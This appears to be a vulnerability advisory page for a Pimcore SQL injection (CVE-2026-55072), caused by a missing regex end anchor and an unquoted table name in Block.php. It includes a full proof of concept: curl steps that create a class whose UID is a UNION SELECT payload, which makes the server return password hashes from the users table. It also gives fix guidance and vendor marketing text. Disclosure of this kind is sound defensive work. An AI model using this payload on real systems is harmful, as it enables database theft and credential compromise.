Summary
Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name
A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.
Details
1. Missing end anchor in ClassDefinition UID validation
models/DataObject/ClassDefinition.php lines 1148-1154:
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}
Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier, it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.
Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:
if (!preg_match('/^[a-zA-Z]\w*$/', $key)) { // has $, correct
return true;
}
3. Unquoted classId concatenation in Block.php
models/DataObject/ClassDefinition/Data/Block.php line 735:
$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id = ' . $object->getId();
$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.
Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:
$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);
Dao.php was hardened in commit dbe1d131e4 but Block.php was not.
PoC
Prerequisites:
- Pimcore 2026.1.x with Studio API enabled
- A user
lowprivwith only theobjectspermission
Step 1, Authenticate as lowpriv and save the session cookie:
curl -s -c /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"lowpriv","password":"password"}'
Expected response:
{"message": "Login successful"}
Step 2, Create a ClassDefinition with a malicious UID:
curl -s -b /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
-H "Content-Type: application/json" \
-d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'
Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.
The bypass can be verified independently in any PHP sandbox:
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1), PASSES, no exception thrown
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0), BLOCKED, correct behavior with $ anchor
Step 3, Add a Block field to the malicious class (via the class editor UI or API)
In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.
Step 4, Create a data object of the malicious class:
curl -s -b /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/data-objects" \
-H "Content-Type: application/json" \
-d '{"className":"PocClass","parentId":1,"key":"poc-object"}'
Note the returned object ID (e.g. 42).
Step 5, Fetch the data object to trigger Block.php:735:
curl -s -b /tmp/cookies.txt \
"https://your-pimcore/pimcore-studio/api/data-objects/42"
When the object loads, Block::load() executes:
SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--
WHERE oo_id = 42
The -- comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the users table in the Block field value of the response.
Expected response (vulnerable):
The myblock field value in the response contains rows from the users table including password hashes.
Expected response (patched):
Step 2 fails with a validation exception, the UID is rejected before the class is created.
Recommended fix:
Add trailing $ anchors to both regex patterns in ClassDefinition.php:
// Before (vulnerable)
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
// After (correct)
if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {
Additionally, wrap $object->getClassId() in $db->quoteIdentifier() in Block.php lines 735, 744, 746, 748, 759, and 771, consistent with how Dao.php handles the same value.
Impact
An authenticated user with the objects permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the users table containing password hashes, using a UNION-based injection. The objects permission is a standard editor-level permission, not an admin privilege.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-55072 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2026.1.5, 12.3.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
pimcore/pimcore to 2026.1.5 or later; pimcore/pimcore to 12.3.9 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-55072? CVE-2026-55072 is a high-severity improper input validation vulnerability in pimcore/pimcore (composer), affecting versions >= 2026.1.0, <= 2026.1.4. It is fixed in 2026.1.5, 12.3.9. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-55072? CVE-2026-55072 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pimcore/pimcore are affected by CVE-2026-55072? pimcore/pimcore (composer) versions >= 2026.1.0, <= 2026.1.4 is affected.
- Is there a fix for CVE-2026-55072? Yes. CVE-2026-55072 is fixed in 2026.1.5, 12.3.9. Upgrade to this version or later.
- Is CVE-2026-55072 exploitable, and should I be worried? Whether CVE-2026-55072 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55072 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55072?
- Upgrade
pimcore/pimcoreto 2026.1.5 or later - Upgrade
pimcore/pimcoreto 12.3.9 or later
- Upgrade